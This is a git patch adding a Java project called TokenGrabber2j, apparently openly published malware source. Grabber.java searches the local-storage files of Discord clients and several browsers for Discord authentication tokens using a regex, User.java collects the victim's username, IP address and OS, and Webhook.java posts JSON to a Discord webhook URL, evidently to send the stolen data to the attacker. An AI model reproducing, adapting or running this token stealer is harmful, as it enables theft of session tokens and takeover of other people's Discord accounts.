From df493fa86144b4a7d89eaefd729d475a8400cddf Mon Sep 17 00:00:00 2001 From: Phoenix852 Date: Wed, 26 Aug 2020 00:06:59 -0700 Subject: [PATCH] Added files --- .gitignore | 4 + TokenGrabber2j.iml | 12 + src/me/Phoenix852/TokenGrabber2j/Grabber.java | 83 ++++ .../Phoenix852/TokenGrabber2j/Utils/User.java | 22 + .../TokenGrabber2j/Utils/Webhook.java | 405 ++++++++++++++++++ 5 files changed, 526 insertions(+) create mode 100644 TokenGrabber2j.iml create mode 100644 src/me/Phoenix852/TokenGrabber2j/Grabber.java create mode 100644 src/me/Phoenix852/TokenGrabber2j/Utils/User.java create mode 100644 src/me/Phoenix852/TokenGrabber2j/Utils/Webhook.java diff --git a/.gitignore b/.gitignore index a1c2a23..91153b3 100644 --- a/.gitignore +++ b/.gitignore @@ -21,3 +21,7 @@ # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml hs_err_pid* + +# intellij files +.idea/ +out/ \ No newline at end of file diff --git a/TokenGrabber2j.iml b/TokenGrabber2j.iml new file mode 100644 index 0000000..47e417c --- /dev/null +++ b/TokenGrabber2j.iml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/src/me/Phoenix852/TokenGrabber2j/Grabber.java b/src/me/Phoenix852/TokenGrabber2j/Grabber.java new file mode 100644 index 0000000..f6830ac --- /dev/null +++ b/src/me/Phoenix852/TokenGrabber2j/Grabber.java @@ -0,0 +1,83 @@ +package me.Phoenix852.TokenGrabber2j; + +import jdk.nashorn.internal.runtime.regexp.joni.Regex; +import me.Phoenix852.TokenGrabber2j.Utils.Webhook; + +import java.io.*; +import java.lang.reflect.Array; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Scanner; +import java.util.regex.*; + +public class Grabber { + private final String roaming = System.getenv("APPDATA"); + private final String localappdata = System.getenv("LOCALAPPDATA"); + + private final String tokenRegexPattern = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}"; + private final String emailRegexPattern = "^((\"[\\w-\\s]+\")|([\\w-]+(?:\\.[\\w-]+)*)|(\"[\\w-\\s]+\")([\\w-]+(?:\\.[\\w-]+)*))(@((?:[\\w-]+\\.)*\\w[\\w-]{0,66})\\.([a-z]{2,6}(?:\\.[a-z]{2})?)$)|(@\\[?((25[0-5]\\.|2[0-4][0-9]\\.|1[0-9]{2}\\.|[0-9]{1,2}\\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\\]?$)/i"; + + private HashMap paths = new HashMap<>(); + + public Grabber() { + paths.put("Discord", roaming + "\\Discord"); + paths.put("Discord Canary", roaming + "\\discordcanary"); + paths.put("Discord PTB", roaming + "\\discordptb"); + /* paths.put("Google Chrome", localappdata + "\\Google\\Chrome\\User Data\\Default"); */ // Comment because adding google chrome bugs idk why, if you know the reason for this bug, please make a fork of this repo, fix it and then make a pull request. + paths.put("Opera", roaming + "\\Opera Software\\Opera Stable"); + paths.put("Brave", localappdata + "\\BraveSoftware\\Brave-Browser\\User Data\\Default"); + paths.put("Yandex", localappdata + "\\Yandex\\YandexBrowser\\User Data\\Default"); + } + + public ArrayList findTokens() { + ArrayList tokens = new ArrayList(); + + for ( + String path : paths.values() + ) { + path += "\\Local Storage\\leveldb\\"; + + File folder = new File(path); + + if(folder.exists()) { + + File[] files = folder.listFiles(); + + for(File file:files) { + if(file.isFile()) { + if(file.getName().endsWith(".log") | file.getName().endsWith(".ldb")) { + Scanner scanner = null; + + try { + scanner = new Scanner(new BufferedReader(new FileReader(file))); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } + + String content = ""; + + while(scanner.hasNext()) { + content += scanner.next(); + } + + Pattern p = Pattern.compile(tokenRegexPattern); + Matcher m = p.matcher(content); + + if(m.find()) { + String token = m.group(0); + tokens.add(token); + } + } + } + } + + + } + + } + + return tokens; + } + +} diff --git a/src/me/Phoenix852/TokenGrabber2j/Utils/User.java b/src/me/Phoenix852/TokenGrabber2j/Utils/User.java new file mode 100644 index 0000000..cf7c5a7 --- /dev/null +++ b/src/me/Phoenix852/TokenGrabber2j/Utils/User.java @@ -0,0 +1,22 @@ +package me.Phoenix852.TokenGrabber2j.Utils; + +import java.net.InetAddress; +import java.net.UnknownHostException; + +public class User { + + public String getUsername() { + return System.getProperty("user.name"); + } + + public String getIPAddress() throws UnknownHostException { + String IP = InetAddress.getLocalHost().getHostAddress(); + return IP; + } + + public String getOS() { + String os = System.getProperty("os.name"); + return os; + } + +} diff --git a/src/me/Phoenix852/TokenGrabber2j/Utils/Webhook.java b/src/me/Phoenix852/TokenGrabber2j/Utils/Webhook.java new file mode 100644 index 0000000..43bce84 --- /dev/null +++ b/src/me/Phoenix852/TokenGrabber2j/Utils/Webhook.java @@ -0,0 +1,405 @@ +/** + * @author k3kdude + * I just edited some things and made it work with this library, its originally made by k3kdude at https://gist.github.com/k3kdude/fba6f6b37594eae3d6f9475330733bdb + */ + +package me.Phoenix852.TokenGrabber2j.Utils; + +import javax.net.ssl.HttpsURLConnection; +import java.awt.Color; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Array; +import java.net.URL; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +/** + * Class used to execute Discord Webhooks with low effort + */ +public class Webhook { + + private final String url; + private String content; + private String username; + private String avatarUrl; + private boolean tts; + private List embeds = new ArrayList<>(); + + /** + * Constructs a new DiscordWebhook instance + * + * @param url The webhook URL obtained in Discord + */ + public Webhook(String url) { + this.url = url; + } + + public Webhook(String id, String token) { + this.url = "https://discord.com/api/webhooks/" + id + "/" + token; + } + + + public void setContent(String content) { + this.content = content; + } + + public void setMessage(String message){ + setContent(message); + } + + public void setUsername(String username) { + this.username = username; + } + + public void setAvatarUrl(String avatarUrl) { + this.avatarUrl = avatarUrl; + } + + public void setTts(boolean tts) { + this.tts = tts; + } + + public void addEmbed(EmbedObject embed) { + this.embeds.add(embed); + } + + public void execute() throws IOException { + if (this.content == null && this.embeds.isEmpty()) { + throw new IllegalArgumentException("Set content or add at least one EmbedObject"); + } + + JSONObject json = new JSONObject(); + + json.put("content", this.content); + json.put("username", this.username); + json.put("avatar_url", this.avatarUrl); + json.put("tts", this.tts); + + if (!this.embeds.isEmpty()) { + List embedObjects = new ArrayList<>(); + + for (EmbedObject embed : this.embeds) { + JSONObject jsonEmbed = new JSONObject(); + + jsonEmbed.put("title", embed.getTitle()); + jsonEmbed.put("description", embed.getDescription()); + jsonEmbed.put("url", embed.getUrl()); + + if (embed.getColor() != null) { + Color color = embed.getColor(); + int rgb = color.getRed(); + rgb = (rgb << 8) + color.getGreen(); + rgb = (rgb << 8) + color.getBlue(); + + jsonEmbed.put("color", rgb); + } + + EmbedObject.Footer footer = embed.getFooter(); + EmbedObject.Image image = embed.getImage(); + EmbedObject.Thumbnail thumbnail = embed.getThumbnail(); + EmbedObject.Author author = embed.getAuthor(); + List fields = embed.getFields(); + + if (footer != null) { + JSONObject jsonFooter = new JSONObject(); + + jsonFooter.put("text", footer.getText()); + jsonFooter.put("icon_url", footer.getIconUrl()); + jsonEmbed.put("footer", jsonFooter); + } + + if (image != null) { + JSONObject jsonImage = new JSONObject(); + + jsonImage.put("url", image.getUrl()); + jsonEmbed.put("image", jsonImage); + } + + if (thumbnail != null) { + JSONObject jsonThumbnail = new JSONObject(); + + jsonThumbnail.put("url", thumbnail.getUrl()); + jsonEmbed.put("thumbnail", jsonThumbnail); + } + + if (author != null) { + JSONObject jsonAuthor = new JSONObject(); + + jsonAuthor.put("name", author.getName()); + jsonAuthor.put("url", author.getUrl()); + jsonAuthor.put("icon_url", author.getIconUrl()); + jsonEmbed.put("author", jsonAuthor); + } + + List jsonFields = new ArrayList<>(); + for (EmbedObject.Field field : fields) { + JSONObject jsonField = new JSONObject(); + + jsonField.put("name", field.getName()); + jsonField.put("value", field.getValue()); + jsonField.put("inline", field.isInline()); + + jsonFields.add(jsonField); + } + + jsonEmbed.put("fields", jsonFields.toArray()); + embedObjects.add(jsonEmbed); + } + + json.put("embeds", embedObjects.toArray()); + } + + URL url = new URL(this.url); + HttpsURLConnection connection = (HttpsURLConnection) url.openConnection(); + connection.addRequestProperty("Content-Type", "application/json"); + connection.addRequestProperty("User-Agent", "Java-DiscordWebhook-BY-Gelox_"); + connection.setDoOutput(true); + connection.setRequestMethod("POST"); + + OutputStream stream = connection.getOutputStream(); + stream.write(json.toString().getBytes()); + stream.flush(); + stream.close(); + + connection.getInputStream().close(); //I'm not sure why but it doesn't work without getting the InputStream + connection.disconnect(); + } + + public static class EmbedObject { + private String title; + private String description; + private String url; + private Color color; + + private Footer footer; + private Thumbnail thumbnail; + private Image image; + private Author author; + private List fields = new ArrayList<>(); + + public String getTitle() { + return title; + } + + public String getDescription() { + return description; + } + + public String getUrl() { + return url; + } + + public Color getColor() { + return color; + } + + public Footer getFooter() { + return footer; + } + + public Thumbnail getThumbnail() { + return thumbnail; + } + + public Image getImage() { + return image; + } + + public Author getAuthor() { + return author; + } + + public List getFields() { + return fields; + } + + public EmbedObject setTitle(String title) { + this.title = title; + return this; + } + + public EmbedObject setDescription(String description) { + this.description = description; + return this; + } + + public EmbedObject setUrl(String url) { + this.url = url; + return this; + } + + public EmbedObject setColor(Color color) { + this.color = color; + return this; + } + + public EmbedObject setFooter(String text, String icon) { + this.footer = new Footer(text, icon); + return this; + } + + public EmbedObject setThumbnail(String url) { + this.thumbnail = new Thumbnail(url); + return this; + } + + public EmbedObject setImage(String url) { + this.image = new Image(url); + return this; + } + + public EmbedObject setAuthor(String name, String url, String icon) { + this.author = new Author(name, url, icon); + return this; + } + + public EmbedObject addField(String name, String value, boolean inline) { + this.fields.add(new Field(name, value, inline)); + return this; + } + + private class Footer { + private String text; + private String iconUrl; + + private Footer(String text, String iconUrl) { + this.text = text; + this.iconUrl = iconUrl; + } + + private String getText() { + return text; + } + + private String getIconUrl() { + return iconUrl; + } + } + + private class Thumbnail { + private String url; + + private Thumbnail(String url) { + this.url = url; + } + + private String getUrl() { + return url; + } + } + + private class Image { + private String url; + + private Image(String url) { + this.url = url; + } + + private String getUrl() { + return url; + } + } + + private class Author { + private String name; + private String url; + private String iconUrl; + + private Author(String name, String url, String iconUrl) { + this.name = name; + this.url = url; + this.iconUrl = iconUrl; + } + + private String getName() { + return name; + } + + private String getUrl() { + return url; + } + + private String getIconUrl() { + return iconUrl; + } + } + + private class Field { + private String name; + private String value; + private boolean inline; + + private Field(String name, String value, boolean inline) { + this.name = name; + this.value = value; + this.inline = inline; + } + + private String getName() { + return name; + } + + private String getValue() { + return value; + } + + private boolean isInline() { + return inline; + } + } + } + + private class JSONObject { + + private final HashMap map = new HashMap<>(); + + void put(String key, Object value) { + if (value != null) { + map.put(key, value); + } + } + + @Override + public String toString() { + StringBuilder builder = new StringBuilder(); + Set> entrySet = map.entrySet(); + builder.append("{"); + + int i = 0; + for (Map.Entry entry : entrySet) { + Object val = entry.getValue(); + builder.append(quote(entry.getKey())).append(":"); + + if (val instanceof String) { + builder.append(quote(String.valueOf(val))); + } else if (val instanceof Integer) { + builder.append(Integer.valueOf(String.valueOf(val))); + } else if (val instanceof Boolean) { + builder.append(val); + } else if (val instanceof JSONObject) { + builder.append(val.toString()); + } else if (val.getClass().isArray()) { + builder.append("["); + int len = Array.getLength(val); + for (int j = 0; j < len; j++) { + builder.append(Array.get(val, j).toString()).append(j != len - 1 ? "," : ""); + } + builder.append("]"); + } + + builder.append(++i == entrySet.size() ? "}" : ","); + } + + return builder.toString(); + } + + private String quote(String string) { + return "\"" + string + "\""; + } + } + +} \ No newline at end of file